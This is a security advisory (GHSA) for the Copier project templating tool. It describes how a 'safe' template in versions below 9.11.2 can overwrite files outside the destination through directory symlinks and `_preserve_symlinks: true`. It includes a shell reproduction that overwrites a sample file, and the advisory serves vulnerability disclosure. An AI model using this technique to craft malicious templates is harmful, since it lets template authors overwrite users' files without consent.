GHSA-4fqp-r85r-hxqh Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true

• PyPI copier: < 9.11.2 → fixed in 9.11.2

Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. > [!NOTE] > > At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using `os.scandir` which yields directory entries in arbitrary order. Reproducible example (may or may not work depending on directory entry yield order): ```shell mkdir other/ pushd other/ echo "sensitive" > sensitive.txt popd mkdir src/ pushd src/ ln -s ../other other echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja" echo "_preserve_symlinks: true" > copier.yml tree . . ├── copier.yml ├── other -> ../other └── {{ pathjoin('other', 'sensitive.txt') }}.jinja 1 directory, 2 files popd uvx copier copy --overwrite src/ dst/ cat other/sensitive.txt overwritten ``` Patches n/a Workarounds n/a References n/a